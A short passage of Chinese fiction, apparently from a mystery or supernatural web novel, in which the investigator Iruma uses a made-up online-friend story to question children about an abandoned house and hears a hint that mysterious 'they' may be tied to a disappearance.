“没听说过。” “这里应该没有人叫美绪吧?” “大哥哥你找这人有事吗?” 入间笑了笑,在心里先冲着被引用的名字主人道了个歉,接着说:“是这样,我们算是网友,约好了来这里见面,说她住在唯一一栋没有姓氏的大房子里,我们来的时候,发现这里没人,是美绪小姐出门了吗?” 听他说得有理有据,孩子们非常轻易相信了这样的借口,招呼他的语气更加急切了:“大哥哥,不要被骗了呀!” “这栋房子,已经好几年都没有人回来过了!” “和你聊天的,不会是‘它们’吧?” 不知是谁说了这样一句意味不明的话,但是入间能从他们忽然煞白的脸色看出来,这个孩子口中遮遮掩掩的“它们”,说不定会是冥冥失踪的调查切入点。